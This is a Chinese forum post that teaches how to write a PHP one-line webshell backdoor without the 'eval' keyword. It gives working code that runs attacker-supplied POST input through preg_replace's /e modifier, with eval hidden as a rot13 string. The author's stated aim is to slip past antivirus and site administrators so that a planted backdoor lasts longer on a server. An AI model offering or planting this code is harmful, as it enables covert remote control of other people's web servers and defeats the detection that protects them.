找回密码
 注册
首页 ≡≡网络技术≡≡ 网络技术 没有eval关键字的php一句话木马

黑客安全 没有eval关键字的php一句话木马

灰儿 2014-3-27 18:55:34
这年头留个php一句话木马,随便就被杀了,但具我所知,杀软和运维人员杀的都是eval函数的关键字,只要避开关键字就能延长木马的寿命,但要怎么避开呢?
首先我想到的是将eval从字符串类型赋给一个变量。 本文来自http://www.coffnet.com咖啡文学网
如: 牛奶咖啡网www.coffnet.com
$func = 'phpinfo';
$func();
这样的确是可以运行phpinfo()的,但是eval却不能通过这样来执行,我马上又想到了assert函数,他有着类似eval的功能,但效果并不理想,完全没有eval用着爽,而且也是公开了的,所以我也就将他放弃了。
还记得《20 Ways to Fuzzing PHP Source Code》里提到的preg_replace代码执行漏洞吗?
没错,利用preg_replace的模式修饰符e(PREG_REPLACE_EVAL)就可以将替换后的字符串作为php代码评估运行(eval函数方式)。
既然是将字符串作为php代码评估运行,哪么完全可以替换或者转码一下eval,这样就可以避开关键字了。
我的一句话木马如下:
($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');
使用上跟原来的一句话没有区别,可用常用的客户端连接密码b4dboy。
str_rot13(‘riny’)即编码后的eval,完全避开了关键字,又不失效果。
您需要登录后才可以回帖 登录 | 注册
学习中心
站长自定义文字内容,利用碎片时间,随时随地获取优质内容。
Q设计语言 了解更多
Q Design 提供商家设计所需的指导与资源,帮商家快速完成产品设计、降低生产成本。
学习中心
站长自定义文字内容,利用碎片时间,随时随地获取优质内容。
Q设计语言 了解更多
Q Design 提供商家设计所需的指导与资源,帮商家快速完成产品设计、降低生产成本。